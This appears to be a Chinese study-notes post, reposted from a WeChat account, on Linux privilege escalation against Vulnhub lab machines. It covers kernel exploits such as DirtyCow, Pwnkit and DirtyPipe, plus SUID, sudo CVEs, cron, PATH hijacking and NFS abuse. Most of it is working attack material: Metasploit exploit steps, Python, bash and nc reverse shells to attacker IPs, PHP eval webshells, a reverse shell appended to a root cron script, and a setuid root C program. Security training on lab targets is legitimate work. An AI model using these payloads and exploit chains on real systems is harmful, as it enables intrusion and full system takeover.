概括
Linux提权:
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权
138-权限提升-Linux系统权限提升篇&内核溢出&辅助项目&Vulnhub靶场&Dcow&Pwnkit&Dirty
信息收集
#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
uname -r
cat /proc/version
dmesg | grep "Linux version"
#内核漏洞筛选:
MSF检测:
run post/multi/recon/local_exploit_suggester
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#应用场景:
获取到Web权限在Linux服务器上时进行的内核漏洞提权
#常见内核漏洞案例:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
DirtyPipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...
Linux系统提权-Web&内核溢出-Dcow
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
信息收集
端口扫描
对 192.168.1.3 进行全端口扫描,发现有 1898端口
Drupal的cms漏洞getshell(配合msf)
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
ls
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/1.cpp /tmp/1.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 1.cpp -lutil
尽量用的是受害者C++环境编写,如果没有就最好知道对方什么系统什么版本,用对应的版本去编写一个,容易搞定
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
找到对应漏洞去网上找到对应的poc利用代码
成功拿下root权限
meterpreter > shell
Process27669 created.
Channel6 created.
cd /tmp
ls
1.cpp
1.sh
2.sh
tmux-33
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 11.cpp -lutil
ls
1
1.cpp
1.sh
2.sh
tmux-33
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@lampiao:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@lampiao:/tmp$ ./1
./1
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
www-data@lampiao:/tmp$ su root
su root
Password: dirtyCowFun
root@lampiao:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
Linux系统提权-Web&内核溢出-Pwnkit
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
逻辑漏洞拿下管理员账号
拿下受害者主机
反弹shell给到kali中的msf
内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
利用漏洞
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
利用漏洞poc去干
Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用
扫描发现-抓包分析-文件写入-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
message=<?php eval($_POST["pass"]);?>&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386
<a "https:="" href="https://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247493515&idx=1&sn=947b681ab18278be720c8e87a278479e&scene=21#wechat_redirect">https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q
139-权限提升-Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞
总结
suid web用户和普通用户 入口提权
sudo 普通用户 入口提权 web用户没有使用这个命令的权限
应用场景:
获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权
SUID (Set owner UserID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287CVE-2021-3156)。
Linux系统提权-Web&用户-Suid
原理解释
除了find这个能够执行命令,还有很多命令能够执行命令
#利用参考:
https://gtfobins.github.io/
环境:https://www.vulnhub.com/entry/dc-1,292/
命令:SUID GUID
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
项目:LinEnum PEASS-ng
/usr/bin/find . -exec'whoami' ;
2、SUID&SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUID:
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
拿下权限 (和前面几个实验操作基本一样就不演示了)
找到权限提升漏洞点
也可以手工查找这些东西
find / -perm -u=s -type f 2>/dev/null
利用找到find 协议 去验证一下
/usr/bin/find . -exec'/bin/sh' ;
Linux系统提权-Web&用户-Suid&SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUID:
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
信息收集
上传提权脚本&扫描提权漏洞
这里我们用找到的python
反弹命令这个命令继承就是赋予这个mawk的权限,所以这个反弹shell就是管理员权限
Linux系统提权-普通用户-Sudo
需要普通用户提权
原理解释
管理员:
sudo find 就说明 find 就已经超管 执行结果就是 是root执行权限
为了方便 这个时候 find加到配置文件 当再次使用find 默认就是 sudo find
配置在哪里?
SUDO:
sudo -l
cat /etc/sudoers
/usr/bin/awk 'BEGIN {system("/bin/sh")}'
还是上面那个靶场
cat /etc/sudoers
利用提权命令
/usr/bin/awk 'BEGIN {system("/bin/sh")}'
Linux系统提权-普通用户-Sudo(cve 2019)
这个sudo需要普通用户
2、SUDO-CVE
环境:https://www.vulnhub.com/entry/devguru-1,620/
-信息收集:
80,8585
http://192.168.139.150/.git/
http://192.168.139.150/adminer.php
http://192.168.139.150/backend/backend/auth
http://192.168.139.150:8585/
http://192.168.139.150:8585/admin
-git泄漏(利用点)
python GitHack.py http://192.168.139.150/.git/
-访问管理(Web入口):
adminer.php 添加用户名密码 登录后台 模版 写入Shell
functiononStart(){
//蚁剑连接
eval($_POST["pass"]);
}
-找备份寻突破(升权):
/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹
bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"
-利用sudo提权(cve):
sudo -l
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。
信息收集
敏感路径
8585端口
http://192.168.1.9:8585/admin --> /user/login
80端口
http://192.168.1.9/.git/
http://192.168.1.9/adminer.php
http://192.168.1.9/backend/backend/auth
git源码提取
添加管理员用户
网上搜索这个cms网站找到后台拿shell的方法
提升权限(先不用suid先用sudo方法尝试)
发现这个web权限 所以sudo提权这个方法在这个getshell是行不通的。
接下来用提权脚本查看一下有没有什么敏感信息
找到sudo 一个cve漏洞,但是web权限无法利用这个漏洞,因为make命令没有这个权限
按正常的 用https://github.com/carlospolop/PEASS-ng这个脚本是能找到一些敏感信息,但是这个 反弹shell不太行
换另一个人登入进去
修改密码网站
拿到http://192.168.1.9:8585/admin这个网站shell
网上搜索这个cms网站找到后台拿shell的方法
最终提权 sudo cve绕过
sudo -l
sudo sqlite3 /dev/null'.shell /bin/sh'
终于
Linux系统提权-普通用户-SUDO-CVE(2021)
环境:kali2020
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
-判断:sudoedit -s / 报错存在
-利用:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0
140-权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
Linux系统提权-Web&用户-Cron任务
https://www.vulnhub.com/entry/jarbas-1,232/
提升条件:Web或用户权限进行查看,任务文件可修改
1、信息收集:
http://192.168.139.152/access.html
2、权限获取:
http://192.168.139.152:8080/
Jenkins创建任务,添加反弹,立即构建
3、权限提升:
cat /etc/crontab
cat /etc/script/CleaningScript.sh #查看脚本内容
ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh
信息收集
开放另一个端口
利用网上提到到版本漏洞getshell
权限提升
cat /etc/crontab 查看计时任务
cat /etc/script/CleaningScript.sh #查看脚本内容
ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1">>/etc/script/CleaningScript.sh 将反弹shell给到 计时任务中,因为这个计时任务是管理员写的,所以被触发,反弹过来的shell也是管理员权限
Linux系统提权-用户-PATH变量(一般web用户不能)
https://www.vulnhub.com/entry/symfonos-1,322/
提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限
补充:
Microsoft-ds通常指的是Windows操作系统中用于SMB(Server Message Block)协议的端口445/tcp。这个服务允许不同计算机之间进行文件和打印机共享,以及远程执行命令等操作。然而,历史上该服务及其相关协议在不同的Windows版本中暴露了多个安全漏洞。开放的端口 445 (配合永恒之蓝)
信息收集
开放了 445端口
smbclient -L 192.168.139.153
权限获取
smbclient //192.168.139.153/anonymous
ls
get attention.txt
尝试过后
helios qwerty
smbclient //192.168.139.153/helios -U helios
漏洞利用
nuclei.exe -u http://192.168.1.8/h3l105/ 漏洞扫描
利用文件包含漏洞getshell
telnet 192.168.1.825
MAIL FROM: MALABIS
RCPT TO: helios
data
system($_GET['shell']);
.
QUIT
http://192.168.1.8/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=nc -e /bin/sh 192.168.1.5 5566 (用我这个可以)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
命令执行
反弹shell
权限提升配合suid
python -c 'import pty;pty.spawn("/bin/bash")' 开启一个终端 更方便把,后续我有试了一下 开不开都可以
find / -perm -u=s -type f 2>/dev/null 这个利用 suid 这个漏洞
strings /opt/statuscheck 查看这个二进制文件 发现里面有 curl (我们可以尝试修改 curl PATH路径 )如果我修改了 curl 的PATH路径 那么执行这个二进制文件,这个文件触发curl命令 是不是就执行 我设置好PATH
cd /tmp 来到 tmp目录
echo"/bin/sh" > curl 赋予curl文件 开启终端 功能
chmod 777 curl 赋予 curl文件 777 最高权限
export PATH=/tmp:$PATH 将curl的环境变量修改为我想设定的环境变量路径
echo$PATH 查看环境变量 是否设置成功
/opt/statuscheck
Linux系统提权-Web&用户-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。(类似于百度网盘)
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
提升条件:NFS服务开启和web或用户权限进行利用
信息收集:
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd 找到web 漏洞点
NFS服务利用
相当于百度网盘 就是你手机上传一个文件 你的电脑百度网盘 也就有了这个文件 但是不同的是 不是同一个人 是两个人,这样给了黑客机会(文件共享)
showmount -e 192.168.1.6
mkdir nfs
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs
用哥斯拉 生成一个 sehll.php 文件
chmod 777 shell.php 放上去 的话 这个权限是继承关系 后续用到的 suid 也是这个道理 这样才能getshell链接上去
http://192.168.1.6/file.php?file=/mnt/nfs/shell.php 用 格拉斯 去访问这个php文件
拿到 webshell权限
配合SUID提权
第一种方法
(前提目标主机和攻击主机差不多的系统,不然的 find 命令 在不同主机 是不适用的,就好比 15年安卓手机 和 25年安卓手机 使用 微信视频功能 可能是不兼容的,所以就需要这个前提 ,如何解决,用到方法二 )
思路就是 进入 NFS目录 把主机上那些 SUID 权限提升能够执行命令的 命令 传到 NFS上, 然后并赋予这个文件 执行权限 和 SUID权限
cd /root/nfs
cp /usr/bin/find xiaobao
chmod 777 xiaobao
chmod +s xiaobao 给xiaobao SUID 权限
然后再哥斯拉 命令终端中查找 找到 xiaobao 这个 SUID 因为 你上传过来的find 就是你用你主机root用户上传的 所以继承到 NFS中
再用 find 提权就行
第二种方法
注意gcc编译机器与目标机内核版本相似
执行命令的c文件
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc getroot.c -o getroot将c文件编译
cp getroot /root/nfs #复制bash到挂载目录下
chmod +s getroot #赋予suid权限
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机
感谢阅读谢谢,嵩艺感谢大家的支持。后续还有我的笔记尽情期待。
网络安全学习者们,一同进步,加油各位,未来可期
今天圈内还挺热闹,但迪总yyds
原文始发于微信公众号(嵩艺):小迪安全笔记—最新B站视频笔记-Linux 提权-上
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论